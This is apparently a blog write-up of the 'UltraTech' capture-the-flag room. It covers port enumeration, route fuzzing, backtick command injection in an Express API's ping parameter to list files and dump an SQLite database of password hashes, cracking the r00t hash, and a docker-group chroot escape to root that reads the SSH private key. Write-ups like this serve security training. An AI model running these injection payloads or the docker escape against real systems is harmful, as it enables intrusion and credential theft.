The basics of Penetration Testing, Enumeration, Privilege Escalation and WebApp testing


This room is inspired from real-life vulnerabilities and misconfigurations I encountered during security assessments.

If you get stuck at some point, take some time to keep enumerating.

Your Mission

You have been contracted by UltraTech to pentest their infrastructure.

It is a grey-box kind of assessment, the only information you have is the company’s name and their server’s IP address.

[Task 2] It’s enumeration time!

After enumerating the services and resources available on this machine, what did you discover?

#2.1 – Which software is using the port 8081?

Let’s run a Nmap scan:

21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
|   256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
|_  256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)
8081/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Answer: node.js

#2.2 – Which other non-standard port is used?

Apparently, our default Nmap scan didn’t reveal all the open ports. Let’s do sudo nmap -sS -sV -p- to scan all ports:

21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8081/tcp  open  http    Node.js Express framework
31331/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 02:71:D7:2F:E8:3E (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Another port appears in our list: 31331

#2.3 – Which software using this port?

Answer: apache

#2.4 – Which GNU/Linux distribution seems to be used?

From the Nmap script, it seems that the host is running Ubuntu.

OpenSSH 7.6p1 Ubuntu 4ubuntu0.3

Answer: Ubuntu

#2.5 – The software using the port 8080 is a REST api, how many of its routes are used by the web application?

A “route” in the node.js terminology refers to “determining how an application responds to a client request to a particular endpoint, which is a URI (or path) and a specific HTTP request method (GET, POST, and so on)” (Source:

Let’s use wfuzz to discover hidden routes:

root@kali:~# wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 15

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

* Wfuzz 2.4 - The Web Fuzzer                           *

Total requests: 220560

ID           Response   Lines    Word     Chars       Payload                                                                                                                                                                      


000002526:   200        0 L      8 W      39 Ch       "auth"
000003633:   500        10 L     61 W     1094 Ch     "ping"
000030796:   500        10 L     61 W     1094 Ch     "Ping"
000084978:   200        0 L      8 W      39 Ch       "Auth"                                                             

Total time: 216.4863
Processed Requests: 220560
Filtered Requests: 220541
Requests/sec.: 1018.817

2 routes have been discovered: auth and ping.

[Task 3] Let the fun begin

Now that you know which services are available, it’s time to exploit them!

Did you find somewhere you could try to login? Great!

Quick and dirty login implementations usually goes with poor data management.

There must be something you can do to explore this machine more thoroughly.

#3.1 – There is a database lying around, what is its filename?

Hint: Look closely how the API is used. Don’t spend too much time on /auth, it isn’t the only route available.


The first route we found is auth. Let’s check how it works:

$ curl -i ""
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 39
ETag: W/"27-eyFFXmdQ/Imsneqz2tUSLEVh8vY"
Date: Sat, 20 Jun 2020 05:28:27 GMT
Connection: keep-alive

You must specify a login and a password$

It seems to require a login and a password. Let’s try to provide auth with these variables.

$ curl -i ""
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 19
ETag: W/"13-5BeEbsCKuYi/D6yoiMYWlEvunLM"
Date: Sat, 20 Jun 2020 05:28:16 GMT
Connection: keep-alive

Invalid credentials$

This time, we have a different message (Invalid credentials), but we have found the expected variables: /auth?login=login&password=password.

As we don’t have any valid credentials, we can’t authenticate now, so let’s check the other route.


Now, let’s have a look at the second route (ping):

$ curl -s "" | html2text 

    TypeError: Cannot read property 'replace' of undefined  
        at app.get (/home/www/api/index.js:45:29)  
        at Layer.handle [as handle_request] (/home/www/api/node_modules/express/lib/router/layer.js:95:5)  
        at next (/home/www/api/node_modules/express/lib/router/route.js:137:13)  
        at Route.dispatch (/home/www/api/node_modules/express/lib/router/route.js:112:3)  
        at Layer.handle [as handle_request] (/home/www/api/node_modules/express/lib/router/layer.js:95:5)  
        at /home/www/api/node_modules/express/lib/router/index.js:281:22  
        at Function.process_params (/home/www/api/node_modules/express/lib/router/index.js:335:12)  
        at next (/home/www/api/node_modules/express/lib/router/index.js:275:10)  
        at cors (/home/www/api/node_modules/cors/lib/index.js:188:7)  
        at /home/www/api/node_modules/cors/lib/index.js:224:17

This is interesting, because the API is likely expecting a parameter to be provided, and will call replace to kind of sanitize it. However, as this parameter is missing, it failed and we had this error.

Let’s try to guess the missing parameter. As auth was expecting a login and password, we could assume that ping is expecting an ip, right? Let’s check:

$ curl -i ""
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 251
ETag: W/"fb-cFu2RWHosOjadv694se9YWL5QfE"
Date: Sat, 20 Jun 2020 05:39:04 GMT
Connection: keep-alive

PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=0.014 ms

--- ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.014/0.014/0.014/0.000 ms

It seems that our assumption was correct. Now, let’s see if we can inject some code.

$ curl -i '`ls`'
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 49
ETag: W/"31-HlSQypQjJ8bvYzsasjt4yTZkt90"
Date: Sat, 20 Jun 2020 05:56:01 GMT
Connection: keep-alive

ping: utech.db.sqlite: Name or service not known

The ip parameter is injectable, and passing ls disclosed the name of the database: utech.db.sqlite

#3.2 – What is the first user’s password hash?

Now, we can get try to get the content of the database. The sqlite3 package doesn’t seem to have been installed on the server, but we are still able to dump the content of the database with cat.

$ curl -i '`cat%20utech.db.sqlite`'
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 147
ETag: W/"93-594eIY8lmtfDeu2ln6BdpbW24SI"
Date: Sat, 20 Jun 2020 06:10:50 GMT
Connection: keep-alive

���(r00tf357a0c52799563c7c7b76c1e7543a32)admin0d0ea5111e3c1def594c1684e3b9be84: Parameter string not correctly encoded

It seems we have been able to get the r00t’s and admin’s password hashes:

account password hash
r00t f357a0c52799563c7c7b76c1e7543a32
admin 0d0ea5111e3c1def594c1684e3b9be84

Answer: f357a0c52799563c7c7b76c1e7543a32

#3.3 – What is the password associated with this hash?

Hint: We will, we will ******.txt*

To crack the password, we could either perform a brute force attack ourselves using hashcat or John the Ripper, or be smarter and check on the Internet (e.g. if this hash has been cracked already:


Answer: n100906

[Task 4] The root of all evil

Congrats if you’ve made it this far, you should be able to comfortably run commands on the server by now!

Now’s the time for the final step!

You’ll be on your own for this one, there is only one question and there might be more than a single way to reach your goal.

Mistakes were made, take advantage of it.

#4.1 – What are the first 9 characters of the root user’s private SSH key?

Now that we have found valid credentials, let’s try to connect with them in SSH with r00t:n100906. It works!

In the SSH terminal, checking our privileges with sudo -l shows that we are not in the sudoers. Now, running id informs us that we are in the docker group:

r00t@ultratech-prod:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
r00t@ultratech-prod:~$ which docker
r00t@ultratech-prod:~$ ls -l /usr/bin/docker
-rwxr-xr-x 1 root root 68631952 Feb 13  2019 /usr/bin/docker

It seems that there is a bash container installed:

r00t@ultratech-prod:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
bash                latest              495d6437fc1e        15 months ago       15.8MB

Now, going to GTFOBins tells us that docker “can be used to break out from restricted environments by spawning an interactive system shell”. Let’s try with bash:

r00t@ultratech-prod:~$ docker run -v /:/mnt --rm -it bash chroot /mnt bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@8baf3018faef:/# whoami

It worked. Now, let’s see what we have in /root:

root@8baf3018faef:/# ls -la /root
total 40
drwx------  6 root root 4096 Mar 22  2019 ./
drwxr-xr-x 23 root root 4096 Mar 19  2019 ../
-rw-------  1 root root  844 Mar 22  2019 .bash_history
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Mar 22  2019 .cache/
drwx------  3 root root 4096 Mar 22  2019 .emacs.d/
drwx------  3 root root 4096 Mar 22  2019 .gnupg/
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root    0 Mar 22  2019 .python_history
drwx------  2 root root 4096 Mar 22  2019 .ssh/
-rw-rw-rw-  1 root root  193 Mar 22  2019 private.txt

A private message:

root@8baf3018faef:~# cat /root/private.txt 
# Life and acomplishments of Alvaro Squalo - Tome I

Memoirs of the most successful digital nomdad finblocktech entrepreneur
in the world.

By himself.

## Chapter 1 - How I became successful

And the SSH private key:

root@8baf3018faef:~# cat /root/.ssh/id_rsa

Answer: MIIEogIBA

Author :

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *